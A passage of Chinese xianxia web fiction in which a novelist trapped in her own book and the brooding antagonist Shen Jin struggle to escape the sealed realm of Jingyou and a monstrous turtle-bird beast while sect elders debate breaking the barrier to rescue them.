沈烬就心情陈杂地看着她杵着一根树枝单着脚一蹦一蹦,像踌躇了许久还是在她面前背过身蹲下来。
“啊哈?”凌酒酒一愣,从他身旁歪着头看看他的侧脸。
“……快点。”沈烬轻吸了一口气像滞涩,还是僵硬道:“等你跳过去,天都亮了。”
凌酒酒抿抿唇盯着他心底到底有些忌惮,这人方才就险些杀了她……哪怕心知他也不过为自保谨慎但仍忍不住生畏。
沈烬静等了会儿见她半晌不曾动作,不由抿唇攥紧指尖。
正当他也有些不知所从时,凌酒酒已暗叹息心道再相信他也再相信自己一回,试探着小心翼翼地凑近他的背。
背上像突然压下一片绵软的云,她脸颊也一瞬贴近了他的脸颊,带来微淡的一抹香味。
沈烬呼吸微滞,指节又悄无声息微紧一下,就像背起一只没什么重量的小动物般直接起身向前走。
谷道路不算平,凌酒酒伏在他的背上也能感觉他走得有些一脚深一脚浅,好在他的肩膀平稳宽阔。
她为防掉下去双臂微微环紧他的脖子,头抵在他的左肩上就不禁和他靠得更近了些,鬓边散乱的碎发都轻抚过他的耳廓。
……有点痒。
沈烬步子微停了一停头稍偏头,托着她双腿的手无意识地缩紧。
凌酒酒问:“怎么了?”
“你……”离我远些。
他惯来不喜与人触碰,但一张口还是算了,这境况下再远又能远到哪里去。
话到唇边又转口,“没事,有石头。”
“哦。”凌酒酒没想许多,就一手搂住他的肩另一手忽然伸到自己身上来回上下地摸了摸。头部的摆动幅度就更加加大。
沈烬微吸一口气就觉自己浑身的血管好像都膨胀,脖颈都渗出了一层细汗,肩膀和后背更是因为她扭来动去的动作蹭得一阵浑身发麻。
刚想阻止,就见她蓦地在他耳边吹了口气吹亮一支火折照亮前路。
“喏!”
火折光微弱,但总归聊胜于无,他微讶地微偏头就正对上她伏在他的左肩歪着头乌溜溜的一只眼。
“这样,会好些吗?”
沈烬微抿了下唇继续向前走了,以行动回答了她的问话。
微弱火苗如一豆萤火将荒谷森冷的夜也照出了一许宁谧感。凌酒酒伏在沈烬的肩膀上忽然有点出神。
沈烬的身上有一股很淡的皂角香味。
很淡很淡……那就是栖星宫中最普通的皂香,像清晨的雾凇、山谷的草木。明明很多弟子身上都有的,可这会儿她莫名就觉得这味道在他身上异常好闻。
她现在离他的很近,一扭头就能看见他落拓的喉结线。
衣襟干净整洁,他的侧脸也淡漠又冷清。
凌酒酒又忍不住开始在警戒线上蹦迪了,“沈烬……你真的是来自刀林血冢啊?”
沈烬这一次连脚步都不曾停顿下,但也没答。凌酒酒能细微地捕捉到他微微抿起的唇。
她试探,“刀林血冢……是个什么样的地方呀?”
他仍旧没答。
正当凌酒酒觉得这问题他应当不会答了的时候,只听他忽然听不出语气地低低说了声,“不知道。”
“啊哈?”凌酒酒惊异看他。
其实是惊异于他居然答了。
他唇线一瞬抿得更紧了一些,像是在微微挣扯着什么,片晌才声色缓慢地低低说:“我家以前……住在刀林血冢附近的村落。”
“刀林血冢……平了周围大半的村子,殆尽所有畜牧良田。我不知道刀林血冢里面是什么。”
“哦……”凌酒酒若有所思似的轻应声。
骗人。
她还不知道他从哪儿来么?
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但他不愿说,她总不好再多问。凌酒酒料想是那些年的生活让他不愿回首,不禁一叹轻喃声道:“会很辛苦吧……”
“什么?”沈烬自顾向前行着,这一句话却像没听懂。
“你呀。”凌酒酒歪头看着他被火苗映暖的冷峻侧颜,编了个很好的说辞,“嗯……以前,在村子里的话……可能要种地,也可能要干活耕田……会很辛苦吧?”
沈烬一瞬手却在隐蔽处捏紧了,唇也微微抿成了一条细线,许久才道:“还好吧。”
声线如常平淡却藏着不易察觉的微哑,“都忘了。”
那就是很辛苦了。
她又轻轻叹了声。刀林血冢,地如其名。是刀锋利刃之所地,是血水灌养的坟冢茔园。
路过的风都能被那密林血雨的锋刃削割成碎。
她突然很不想知道她当时寥寥几笔的背景在他身上具象化的表现,轻语道:“以后,就不会辛苦了。”
那本就像是一句像鼓励也像安慰的祝福话,听在沈烬耳中却微默,竟然反问了,“你怎么知道?”
凌酒酒一下就像被问住般喉头堵了一下,心道原来真的会有人把吉祥话当真的啊……但但脑瓜一转还是灵巧答了,“因为我说话灵验呀!”
沈烬怪异蹙了下眉。
凌酒酒:“你看我师父,金大嘴多开光呀!我们天同宫别的可能不行,就福气和运气还是不错的!知道我们天同宫为什么人少么?就是因为天下有运气和福气的人本就少。所以我说不会就是不会的,你等着瞧吧!”
他眉仍旧怪异地蹙着,半晌才像不可思议似的一哂,听不出语气。
“如果真是这样,你就应该天天躺在屋里念叨‘我要去甲班’、‘我要去甲班’。何至于让我教你术法课业。”
凌酒酒又堵了一下哼声撇撇嘴,头扭过去不想理他了。
沈烬极淡地弯了一下唇。
但过会儿,凌酒酒还是想起什么般,伏在他耳边笑嘻嘻道:“沈烬,你可知我们栖星宫有一个术法,叫‘祝咒’?”
沈烬没答,只问:“怎么?”
祝咒——是栖星宫内一个很特殊的术法。非攻非守,也并非实战中用。
而近似于神明为凡人施福下咒。
祝咒术分两种,“祝”与“咒”。
不同的十四宫可下的祝咒都是不同的。如天同宫,主福气、善良。下以天同祝时便可祝此人若行善事则福气永存;若下以天同咒,则可咒此人若行恶事便永远消弭福分、身缠厄运。
因这术法极难修,且无论祝与咒都需施术人做担保。
如被下了祝术的人行了恶事、或被下以咒术的人真行了恶事,或多或少都会反噬给施术人身上。
故至今即便修成的也极少有人用过,甚至有星君连修都不曾修过。
凌酒酒的还是后来文中写任紫依和江遥下山历练时为了保证对方安危,给对方身上下了祝术才突然想起这个设定的。不过……后话了。
萤弱微光照亮了黑暗深沉的前路,但总归还是有亮的,凌酒酒笑说:
“等我们出去后,我就去学祝咒术,然后,我就给你下天同祝!”
“‘祝你天天开心、福善永存、不再辛苦!’”
“我还要努力去甲班,然后让你入长生殿。沈烬,你等着瞧吧,我这次一定会让你成功去长生殿的!”
所以,一切都会好起来的。
一定会的。
24.024.境幽
沈烬的心中有一种很奇异的感觉,即便到今天他真的如了她的愿教授她术法课业,可他也从未想过她真的能入甲班带他去长生殿。
他更像是一种想站在高处睥睨着她想看她究竟能把这场游戏似的约定做成什么程度的心态。可她一句一句的“一定”仿佛一种他从未见过的术法在一次一次地去冲他的某种堡垒,而他不得不承认,这座堡垒正在渐渐动摇。
“长生殿……有那么好么?”
前方就到了他先前说的那个山洞口,他步子微停了一停忽然莫名不想这么快去了。
步子一转走向了另一个岔道口。
“当然好了!”凌酒酒盯着道旁一颗长得挺奇异的歪脖树,吟吟道:“长生殿,能学知识、能学法术,还能有很多的小伙伴和朋友,不比天天在七杀宫或天同宫待着无聊好多了呀?而且长生殿还有紫依师姐、江遥师兄……”她忽然有些迫不及待地想要看看江遥的样子。
也不知道她笔下真正的亲儿子男主角,究竟是长成什么样子的。
而且,这一次,她希望能够让他和江遥做朋友。
他和江遥……本也不该是敌人的。
他眉宇很细微地蹙了一下,但不动声色,平稳向前走,“江遥?”
“嗯。”她随口应,很快想起什么忽然又紧了紧搂搂他的脖子,眼巴巴问:“诶,对呀,沈烬,你和江遥师兄年纪相仿,一定见过他的吧?他是什么样子的啊?”
他眼神平平淡淡地还是没什么声色,只是像不知情绪地哂了下,“你好像很了解他。”
“也……不算太了解吧。”她一时有些尴尬了,生怕自己不小心又秃噜出什么书里的但不该是她知道的消息,讪讪道:“就是……听宫里很多师兄姐说过一些。说他是贪狼宫的,英俊潇洒、意气风发!鲜衣怒马、歌尽桃花!可惜深居简出,所以有些好奇。”
他默了一瞬又想起先前的林林总总,不咸不淡一哂,“你还真是爱美男!”
凌酒酒不置可否,“美男喽……爱美之心人皆有之。谁不爱长得美的人呢?”
她又微微搂紧了他的脖子从侧面看看他的侧脸笑嘻嘻问:“你不爱呀?”
沈烬像呼吸轻滞一下扭头对上她近在咫尺的乌圆灵动的眼,“我身边没美人。”
“……”
凌酒酒伸手就在他肩膀上打了一下。
内涵谁呢?
他不想再在这儿兜圈子了,脚步一转快步走向洞口。
凌酒酒一时错觉他这是要赶集,浑身骨架都要被他颠散架,刚想出声他已经走进一个黢黑的洞口中将她往一席草堆上一放。
“哎呦!”
凌酒酒右脚触地痛了一下跌坐在地上,好在这枯草席还算软的。想来是方才他寻到这个洞口时直接铺陈在这儿的。
一时因为他的用心倒也勉为其难原谅了他的粗暴。
他方才因为背她整件衣裳就不免被她蹭得有些松乱,轻掸了掸身上整理着衣襟。
他身颀骨瘦,穿着墨色的束袖劲衣就更显格外修长,衣襟的右衽被扯得微松,影影绰绰露出他一小节锁骨,骨下半寸的位置有一个清晰可见的圆形疤。
那是星魂钉留下的伤疤。
凌酒酒就着洞里昧暗的火堆光看见一时失了笑,就盯着他那道疤一瞬不瞬地瞧。
似乎感受到她的目光,沈烬也顺着她的视线低头。
瞥见锁骨下半遮半掩的疤,他紧接着蹙眉连忙将衣衽整理好了,语气像有几分不悦道:“睡觉。”
凌酒酒怔怔看了看他的眼睛,很快眼珠乌溜一转唇边翘起笑坐着往他挪了两下,“诶,沈烬,我有一个问题一直没有问你。”
沈烬仍蹙着眉看她,似在等看她还能问出什么奇葩问题。
她小心翼翼指指他的锁骨处,“你当时……到底为什么没有救我呀?”
如果……他当时愿意在凌云木面前说出真实原由,或许也就不用受这两颗星魂钉了。
沈烬一时眸光微顿仍旧没答,唇角也渐渐微抿起。
就听凌酒酒又吟吟笑道:“那……你这次愿意来救我了,甚至愿意为了救我以身犯险了,是不是说明在你心里我们俩的关系好了一些呀?我现在在你心里对你而言是不是很不一样?是吧是吧?”
沈烬诶!她笔下那个无情冷血、冷漠生死、惯会权衡利弊的大反派沈烬,现在为了救她都不惜从天上跳下来了!
这要在现实跟她的读者说都要骂上她一句OOC!
沈烬古怪瞧着她都要冒光似的双眸神情不禁拢眉更深,很快不知名地一哂,“没错,是不一样,我在天上的时候就想着你要是死了我回去估计也是个死,不如把你救了一起跳下来,要是饿了实在没得吃还能把你烤了吃。”
“……”
“睡觉。”他最后肃声一命令,指尖轰地操动着火堆燃得更盛了些空气也蓦地更温暖。
自己走到不远处的一块平坦石头上抱臂躺下阖上眼。
凌酒酒对着他的方向努了两下嘴巴也怏怏躺下了,目光无意落向洞口外的一颗歪脖树时顿了下又一支棱。
……诶?
这树的形状……她怎么觉得刚好像在哪儿看见过呢?
-
沈烬这夜睡到一半突然醒了,他听到一个极为奇怪的声音。
那声音哧哧作响,极像是有人在伐木头,嘎嘎吱吱的。
有人?
他迅捷起身,却赫然发现睡前燃的火堆不知何时熄了。
更警惕地蹙起眉。
七杀阴火所燃的火焰非七杀不可灭。他摸黑赶紧走到凌酒酒的身旁,看见凌酒酒正在草堆上安然地睡着,不禁暗松一息再次燃起一簇火堆,悄声无息走到洞口环视周围。
更深夜静,月黑深沉。
那伐木头的声音却许久不曾再响起。
正当他微松警惕就要再次回到洞中去时,耳边却忽响起一声“沈烬”。
似幻似实、似近似远,下意识回身横臂当胸凛声问了句,“谁!”
身后却压根没有人。
有风过,吹动他鬓边的发丝微动。
那声音忽然又悠悠响起,“我是你。”
沈烬微蹙了下眉心中冷哂,装神弄鬼!
“我并非装神弄鬼,是你生心魔。”哪知那声音竟说:“你没有告诉她实话,对吗?你说你来自刀林血冢的哪儿?为什么说谎?为什么说谎?”
沈烬眸光诧异漾动了下很快又全盘提起戒备,凛声问:“与你何干?”
他问:“这是哪儿?”
这声音这时却不说话了,树林沙沙作响。沈烬抿唇注意着周围的一举一动全盘警戒。
然后在头微微左偏的刹那,一道黑影突然袭来!他神色顿凛一道“肃杀”猛然打过去整个黑影连同他瞬间爆炸——
——沈烬猛地睁眼起身!
坐在原地轻喘息了两下,沈烬片倾意识到方才是梦,下意识看向身旁不远。
不远处的凌酒酒正在草席上熟睡着,火堆也在她身边不远处毕剥燃着。他阖眸微沉了下呼吸,再睁眼目光看见自己手心时微微一顿。
一团黑雾般的东西在他掌心萦晕着,黑色也正沿着他的血液脉络像河流正往上攀爬。
有毒……
他飞快封住左臂的灵脉,先赶紧从怀中掏出先前为她随身备的有解毒效用的丹药。
药匣打开,一颗先前已给她服过的丹药赫然在里面。这是……
他神色顿凝赶紧又朝周围打去一掌,这一次又再次睁眼醒来。周围的场景同方才一模一样,只是这一次再试却没了反应,掌心的黑雾也完全不见。当是在现实了。
沈烬蹙眉看着周围。
梦中梦。
这地方……还真是邪性。
-
第二天一早,凌酒酒和沈烬仍旧如常卯时便起了,两个试着在这林谷中寻找出路。
出发前,两人将身上所有可用的东西都细数了遍。
符纸还剩十三张,丹药还剩六颗,虽收效甚微,但聊胜于无。
沈烬问过凌酒酒昨夜是否做过什么奇怪的梦。凌酒酒说没有。
他没想太多,栖星宫内有这么一处不为人知的秘地已经实属令人惊奇,再诡异的境况都已不让他吃惊,只是……的确必须快点走出去才行。
沈烬能感觉到自己的灵力正在一点点减少,这被结界笼盖得像个密不透风的罩一样的地方仿佛是噬人灵力的,拖延愈久,只怕他们都会死在这儿。
山谷中的季节同外面似乎有着极大的差异,夜半冷得寒风沁骨,午时却像个蒸笼。
沈烬背着凌酒酒走了一会儿,凌酒酒便觉口干舌燥浑身是汗。
这偌大山谷也仿佛怎么走都走不到尽头,不仅路没找到,好些次还鬼打墙般地绕回了原地。最终是凌酒酒受不了了,在一处形状怪异的石头旁歇脚。
“这究竟什么破地方啊!绕来绕去一直在绕原路,走来走去也没个头,再大的林子这么走也该看到个边界了吧!”
而且她真的不记得自己写过这么一个鬼地方,这该死的破系统也在这时候失了灵!一想到她这个宿主之身若有个三长两短它也会消失,她简直想干脆饿死它算了!
沈烬不语,只默默观察着周围的景象,某一瞬像是忽然发现了什么盯着她的方向眸光一缩道:“别动。”
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沈烬:“有眼睛。”
凌酒酒一瞬汗毛竖起,
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被他盯得连眼睛似乎都不敢眨了,颤巍巍问:“哪儿……”
沈烬:“你身后。”
??!!
“啊啊啊啊啊!”凌酒酒一刹惊慌失措连忙连蹦带跳地跳到他身后,连骨折的伤都好了。在他身后悄悄冒出个脑袋看了圈却没发现他所说的眼睛。
不禁又狐疑问:“哪儿啊?”
沈烬随手给她一指,只见那个半椭圆型的石壁上,有一圈圈硕大的旋涡纹路并排列开。状似乾坤形同黑洞,可不就是一双双“眼睛”么?
“……”凌酒酒一哽简直无语,伸手就在他肩上拍了一下,“你想吓死谁啊!”
沈烬自顾上前,试探着伸手轻碰。
当他指尖轻触在一只“眼睛”的刹那,沈烬只觉周身的一切仿佛突然变了——
四周狂风乍起乌云变换,一股巨大的力量仿佛要扯拽着他到另一个异空间去!耳边疯狂地响起几道交错的声音,“你没有告诉她实话”、为什么说谎!”、“为什么说谎!”
他惊异地蹙了下眉弯腰捂了下胸口,看在凌酒酒的眼中就仿佛突然难受,下意识扶住他,“沈烬?”
然而那刹那凌酒酒感觉自己的世界也变了,一声声“作者你没事吧?!”、“你要阻止反派沈烬的黑化之路”、“你就应该穿到你自己的书里,感受一下自己笔下的人物究竟过得有多惨!”疯狂响起来。
下意识蜂蛰般缩了手。
她第一反应以为是系统回归了。
“系统,你回来了?”在脑中怔怔道。
系统却压根没回声。
沈烬已经试探着将手触碰到另一只漩涡上,刹那昨晚的黑雾萦身而来,剧毒萦绕着他将他浑身的血脉都染成黑色爆肤而出,整个身体里也仿佛有千万只虫子撕咬攀爬,一股力量没撑住倏地跪在地上。
“沈烬!”凌酒酒下意识想去扶他却想碰不敢碰,就看他单膝跪地稳了下气息很快又渐凝起眸看着这一片片旋涡,凝声道:“这有问题。”
但有问题之处恰可能是破境之处,他很快起身阖眸对着山壁催动可堪破幻境的破妄术——只见那五只眼睛似的旋涡很快星云运转般变动起来。
有数道逼目的红光从中微弱闪现,好像从层层迷雾中穿破。
——妄、咒、心、毒、杀。
有光蔓延在地上,组成五个字,凌酒酒感觉那五个字红光蔓延的脉络也像是组成什么巨大的字,歪着头小心翼翼地辨认。
“天……刹。”
这两个字念出来的刹那,凌酒酒浑身血脉倒涌,不可思议看向沈烬。
天刹……天刹!
怎么会是天刹?!
她讶异看向周围的密林。
这里,居然是……
-
十四宫上下紧急寻找排查了一宿,始终不见凌酒酒与沈烬的身影,诸星君这一刻才感觉到事态的严重。
凌云木请天巫星君起卦推算,巨大的六十四象挂图在空中排布,最终只剩下两挂微弱闪在半空。
——天山遁挂、坎为水挂。
无影无踪,死地后生。
诸星君怔愕一刹后又爆开一阵窸窸窣窣的讨论与沉重。泊尘的脸都有些白了。而凌云木也唇齿僵硬地翕动两下涩声道:
“阖宫上下不见二人踪影,卦象却显示二人在无影死地……那就只有一个地方了……”
“您是说……”
尽管不愿意说出那两个字,凌云木还是涩意出口,“境幽……”
-
境幽!
这里居然是境幽!
凌酒酒看着周围的景象心中忽然有些崩溃,突然觉得眼前的一切特别荒诞特别无稽。
境幽之地,在栖星宫内算是一个极特殊的存在。可以说既属于栖星宫又不属于栖星宫。
境幽之地在栖星宫建宫前就存在了,不知道是一处天然结界还是为谁所设,总之境幽结界无法与诸星诀结界相融合,亦无法可破,故使栖星宫最终设结界时就只笼罩了三面,可以说整个栖星宫结界只在境幽之处缺了一块同境幽相连接。
只是栖星宫西北处本就是荒芜之地,传说入境幽之境者从未有人生还过,久而久之,这一片也就不会有人来了。
但……
怔怔地看着沈烬,凌酒酒忽然有些背脊发凉。而沈烬自然也看不懂凌酒酒的眼神狐疑问:“怎么了?”
“那个……沈烬。”凌酒酒及时扯了下他的胳膊打断施法,“我突然有点不舒服,要不我们还是走吧!我们……”
她刚转身,只觉脚下的地面忽然猛地像晃动了一下,如地动山摇。
凌酒酒怔讶看向沈烬正当以为是他做了什么时,只见刚那块大石头……动了!
25.025.玄龟
当初,凌酒酒在写沈烬的设定时,曾写过:
沈烬曾在七杀宫待过七年,七年内,他忍气吞声,饱受凌辱,终在七年后的一次仙门大考中寻得时机自栖星宫逃离,远离了这片牢笼。
他当时选的路线便是境幽之地——这也是整个栖星宫内唯一一处诸星诀结界有缺口的地方。
然而境幽之界也有进难出,最终还是他意外之下初修了天刹之法,成功破开了结界逃出去。
天刹——便是那个最终让他成为世人眼中的灾星魔头、连诸星诀与杀破狼都无法抑制的诡谲术法。
凌酒酒当时只是写了这么一个术法叫这个名字,至于天刹怎么修、如何修,就全不是她的专业范围了。且她当时写的境幽就像是一个虚幻梦境的地方,谁能想到会是这么一片破林子!且这剧情都已经是很后后后后面了,谁知道会在这个时候出现啊!
她拽着沈烬转身想走,可这时又突然考虑到另一个问题。
境幽结界非天刹不可破,若他们一直被境幽困着,恐怕迟早会困死在这里。
可若真让他修了天刹……
她指尖越来越凉整个人都要被纠结哭了,正当沈烬刚想再问她怎么了时,身旁那块大石头居然蓦地动了!
那石头立起身居然能有近三层楼高,忽地像有一个巨大的红黑色像鹰鸟一样的头从石头中冒出来,朝天空嘶开一声厉号。
那声音凄厉刺耳,仿佛千万把锯子在同时割木头,逼得凌酒酒和沈烬不禁连退数步按住耳朵。
沈烬忽然将此声和昨晚那个诡异的声响相对上。
凌酒酒在适应了声音后第一时间不禁错愕,这石头里怎么还藏着一只鸟呢?
但很快,她发现不是石头里藏着一只鸟。
而是这“石头”本来就是这只“鸟”本身。
又一条“蛇尾”从那“石头”后方甩过来,巨粗而长的尾巴正是凌酒酒方才以为的地面上凸起的一条山丘。沈烬见状一凛第一时间揽住凌酒酒的腰飞起向后闪退,堪堪避过“蛇尾”的攻击立在另一片平地上。
“鸟头”忽然又一阵凄号仿佛发了怒,直接立起四肢站起来了。
它一站起,原本三层高的“石壁”就蓦地变成五六层高,凌酒酒就站在远处看着它的全貌背脊一阵发毛。
好家伙!龟身、鸟头、蛇尾!
这是个什么鬼东西啊!
鬼东西的身下还压着无数骸骨,随着它的站起就哗啦啦地掉下来,凌酒酒第一反应觉得就像一个人啃完了好几个鸡骨架压在身底下就睡了。
可那“鸡骨架”显然都是人骨。
她突然特别想吐。
来不及她反胃的时间,那鬼东西显然此刻特别烦躁,又凄号一声俯下它巨而尖的鸟嘴就直接啄过来。沈烬一刹飞快结出一个巨大的防护印荡在半空阻住它。
防护印在半空艰涩地坚持了两秒,在第三秒倏地被它的鸟喙击破,两人也随之弹出去直接倒在远处另一片空地上俯身吐出一口血。
“沈烬……”凌酒酒下意识握了下他的手臂用目光问他怎么样。
沈烬蹭血摇摇头。
那鸟不鸟龟不龟的东西已经再一次袭过来,沈烬眼疾手快之下已将凌酒酒飞快向远一推,自己也向另一个方向避去。
鸟喙啄在地上顿时裂开一片裂缝。
他飞身一跃到她身旁,再想躲远时却赫然发现这兽似乎被什么隐秘不见的灵力束缚着,至远只能到达这个距离。
它似浑身狂躁,拼命拍着这四肢甩着蛇尾发泄凶暴,地面一阵阵狂风卷着石起,树木被它打得咔咔作响。沈烬和凌酒酒用手遮脸偷偷看它。
某一瞬,沈烬像是看到什么,瞳孔倏凝。
“凌酒酒!”他示意她。
凌酒酒只见那兽肆意发狂间,蛇尾像不断拍打着一片无形结界闪动着微弱浮光。
那结界在它身后不远的位置,缺了极微的一角,结界外浮动的五行交织的光正是诸星诀。
缺口!
居然是这结界相接的缺口!
凌酒酒大喜过望,这缺口虽小却足够一个人过了,想来是被这东西一直压着才一直令人看不到。
她和他交递了个眼神悄悄试着从它身旁绕过去,不想一道蛇尾扫来直接席卷着两人扫到一旁!
……
-
紫微殿里,凌云木忽地正身走到所有人身旁,跪地。
“宫主!”
一众星君连忙上前想要扶起她,她却摆手拒绝了,向所有人俯了一记大礼肃声恳求道:“求诸星君,救吾女!”
一众人你看看我我看看你忽然有些不知所措,天梁星君像是猜测到她想要做什么试探问:“你想打开境幽结界?”
“是。”
“不可!”话一出口,另有人连忙否决了。以武曲星君为首的数位星君带头道:“且不说这境幽结界如何打得开,只是现在也无人能保证凌酒酒和沈烬这二人就在里面。况且,境幽结界,自建宫前便在,栖星亦有祖规勿打开远离之,谁能保证里面是什么?若是些妖魔邪祟之类,岂不是平白生了祸端?”
“举宫上下皆不见二人身影,宫内外结界完好无损,且无奉星令诸星钥无法出山,加之挂向所显,便唯有境幽了。”凌云木执手转向武曲星君道:“师兄,求您。”
“师兄”二字令武曲星君一时语默。天府星君这时问道:“可是这境幽结界无物可破,就算我们帮你……又要怎么帮呢?”
“无可破,并非无可开。”凌云木说:“我曾查过,栖星宫史上虽未能破了境幽,但不曾说境幽毫无开口,且境幽与诸星诀交接之处结界微弱,若使以诸星诀……或可一试能否打开一处开口进去寻救。”
“不可!”武曲星君闻言更是坚定了,忿道:“你想让诸宫星君共同催动诸星诀替你打开境幽,进去后营救这二人然后前路未知么?无人知晓境幽里究竟有什么,若是有星君折在里面,你可知这对栖星宫而言会是什么影响!”
“我自己去!”凌云木当真有些急了,眼眶都已微弱地泛红,一向沉稳持重的她哽咽起来当真格外惹人恻隐,“诸位师伯、师叔、师兄师妹……”
“我自己去……只消你们帮我打开境幽。若我不甚身折其中,还望诸星君扶持我徒任紫依继任宫主。云木——拜恳!”
她俯首向下又一大礼。一时周围又无措去扶,一旁始终陪伴的任紫依都面露无措惊恐地摇摇头。
场面僵滞间,天同星君泊尘率先走到凌云木跟前跪下一拜,一夜担忧不曾阖眠的他看上去似乎比原先更苍老了几分肃声道:“宫主,老夫陪您前去。”
“师伯!”
“师伯不可!”
武曲星君立时惊呼。而凌云木则是讶异地忙扶他起身摇摇头。
静片晌,贪狼星君也合起扇子走上前,一贯吊儿郎当的面庞此刻却收起了笑对凌云木一礼道:“我也去。”
“绯卿!连你也——”
武曲星君立刻惊喊。贪狼星君绯卿只是淡淡一勾唇又摇起扇子环视四周,“怎么,到底都是做人师伯师叔甚至
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师公伯的,平时说着多喜欢这丫头承人家一句师叔伯的叫着,关键时刻却让人家小辈自己在险境,不好吧?我道是栖星宫的星君之位也并非是吉祥物吧?”
周围不少人一时不禁被说得面露惭愧轻咳几声,开始纷纷讨论起该不该打开的,很快场面又像是两极分化开来。
说不该的几乎都顾及着武曲星君的威慑不敢动。
贪狼星君一道绿光打过去直接一条束仙索束到武曲星君身上,武曲星君见状登时一惊讶异地怒道:“你干什么?绯卿!你疯了不成!”
贪狼星君只道:“师兄,劝你勿要太过挣扎。这混元束仙索可是天机新研究出的,越挣扎越紧。您不愿去没关系,我们就去您的武曲宫捉几个弟子来,武曲宫总会有使本命术的弟子,虽不及您但人多力量大,您就在这儿等着好消息便是。”
原本迫于武曲威压选择暂时中立的天机星君见状不禁讪讪地低了低脸站到该去的队伍中去。武曲星君见状更是脸色涨得通红,只好松口去了。
凌云木还跪在地上这一刻终于松了一口气,又俯首一礼,“谢诸位!”
-
夜晚的山洞里火光幽暗,沈烬咳嗽着,将新的布条缠绕在凌酒酒的手上。
凌酒酒此刻的状况也格外不好,浑身血泥,面庞狼狈,原本就骨折的脚似乎伤得更重了渗出的血迹斑斑,整个人恹恹窝在草堆上还在问:“沈烬……你怎么样啊?”
“我没事。”沈烬咳了声忍下喉头翻涌的血气,在她身上轻点两下护住灵脉又拿出一枚丹药给她吃了。
凌酒酒:“那个鬼东西到底是什么……”
沈烬说:“是玄龟。”
玄龟,色黑红、状如龟,鸟首、虺尾。凌酒酒赫然想起,先前他为她教授的文课中提过。
只是没想到,境幽中怎么竟会有一个。
将余下的符纸一一排列开,沈烬刺破指尖已经如走龙蛇地开始画起咒。红符黄纸被石头压着风一吹荡种莫名凄凉的声音。
沈烬和凌酒酒今日回来时已经将现下的局势分析了个遍。这玄龟虽不知是因何被人结界封印在这儿,但若想走出这片结界只能走那一处空缺。
可那空缺常年被玄龟压着,光明正大走是肯定不可能了。
他们必须想办法杀了这只玄龟或蒙蔽玄龟。
那些骸骨想来都是曾误闯这片结界死在这儿的人。这片结界其实很小,只是每一次他们走到结界的边缘就会自动走进结界中的循环,这才仿佛一直在原地里打转。
在结界中的人灵力会越来越稀薄,终究会死的。
等死后玄龟就会吃了这些人。所以他们必须趁这灵力还残存的两天内完成这些事。
符画完了,沈烬将其中数张交到凌酒酒手上,像嘱咐似的说:“到时候,你就按我们计划好的去做,趁时机,赶紧出去。你已经可以使飒踏了,向前勿回。”
凌酒酒手握着符纸这一刻莫名有点想哭的感觉,怔怔看他,“那你呢?”
他黑色的眸深深地看了她一眼,“我能出去。”
凌酒酒僵硬攥了攥符纸心头酸胀。
是……她当然相信他能出去。
上一次,他没有符咒、没有丹药、没有她……孑然一身,也出去了。
他修成了天刹,打开了境幽和诸星诀,走出了那片禁锢了他数年的牢笼。
凌酒酒莫名这一刻莫名很想说,沈烬……你修天刹吧。
我不怕死。
但我这一刻突然很想让你到属于你的自由天空去。
26.026.破境
凌酒酒和沈烬第二天一早便又到了玄龟旁,天蒙蒙亮,玄龟也正沉沉睡着又恢复成了那怪异石头的模样。
沈烬背着凌酒酒悄无声息绕到了玄龟的尾巴处,果见那处结界的缺口正被它严严实实地堵着,它粗长的蛇尾延在地上沾了尘土真仿若一条凸起的丘。
沈烬将凌酒酒放下暗示性地向她点点头,自己悄声无息退到头部的位置去。
看着他一点点离自己远去,凌酒酒轻攥攥袖中的符纸心中忽然有种难过的感觉,闭上眼深沉了一息。
等沈烬到了起先就和她说好的位置,远远向她打了个手势。
凌酒酒沉息静气,拿出第一张符纸。
当第一道锢身咒打到它的尾巴上的时候——
玄龟忽然仰天长啸起,鸟头突然又从石头中出来,向着天空嘶开长鸣。
龟壳带动尾巴磨动地面令大地石土都一阵动荡,它的尾巴被禁锢在原地,只有蛇尾的尾端和四只龟脚焦躁地拍打着,凌酒酒被它煽动空气卷起的风都被吹得忍不住眯了眯眼睛。
沈烬一个飞身飞快往后退,玄龟见状厉嚎一声已经伸上前用鸟喙去啄他。四只龟脚就笨拙地带动身体往前挪动,口中吼着尖锐怒鸣,四周的树木猎猎沙沙。
结界的缺口被露出了一小块,沈烬在远处错目看见,肃喊一声:“凌酒酒!走!”
凌酒酒自然也看见那圈微弱结界的缺口,忍着腿上的剧痛飞快从玄龟与结界的边缘穿过去,然而到一半却被它还禁锢着的尾巴与结界缝隙卡住了,她拼命挤了两下却都是徒劳。
“出……出不去!”
使了两张攻杀符打在它的尾巴上,玄龟似吃痛更加凄号地一声厉叫,蛇尾在空中拼命拍甩着结界都泛出一圈圈浮光。
似乎感知到蛇尾处有人,某一瞬它竟然一把冲破了锢身符,蛇尾瞬间打在凌酒酒的身上将她一把甩到一旁吐出了一口血。
沈烬见状一凛掌中结出印咒带起了周身无数树枝石块,顷刻朝着鸟头击去。
鸟头嘶吼着躲避了一下倾力向前一啄,直接将印纹啄得支零破碎,沈烬也被那骤来的反噬力击得倒在凌酒酒的身旁涌出一口血。
“沈烬……”
玄龟的戾气像被彻底激出了,蓦地站起身来仰天长啸。
叱咤喑呜,周围狂风怒吼,整个树林都沙响似呜咽。
沈烬眼看着它再次朝他们两个人袭来飞快推开凌酒酒,同时道:“再来一次!别慌!”
他飞身而起引着鸟头向前去啄,凌酒酒忍痛闭了闭眼又拿出一张锢身符打在它的尾部上。
然而她明显能感觉到自己灵力的稀薄,蓝色咒纹在它尾部艰难地闪动两下便被破了,蛇尾再一次横扫而来,这一次却是直接卷着凌酒酒将她横举到天上。
……
-
境幽结界外,栖星宫诸星君严阵以待。十四星君共同催动本命术法共同抗击在双结界交界处最稀薄的那一点上。
紫微宫的紫微摄、天同宫的天同铸、七杀宫肃杀、破军宫破灭、贪狼宫贪煞……
武威、千机、巨门吟、天梁令……
——十四宫本命术法所组成的诸星诀,合之如宇宙万星合一,力抵雷霆万钧。
灵力的浓光可逼朝阳,整个栖星宫中的也刹那浮云变幻、彩光流转。
栖星宫不少弟子何曾见过这等场面,纷纷望着突变的天面露惊异。
很快,不少人也纷纷至各宫师长后助其一臂之力。
越来越盛的光芒也仿佛能够刺破天际。而那密不透风似的结界也终于被撕开一角缺口。站在最前方的凌云木蓦地俯身吐出一口血。
“宫主!”
“我没事……”她掌中汹涌的紫色灵力却丝毫不曾减,说话间反而更盛地打过去,语气恳求却坚定,“望诸君齐心协力,助我入境!”
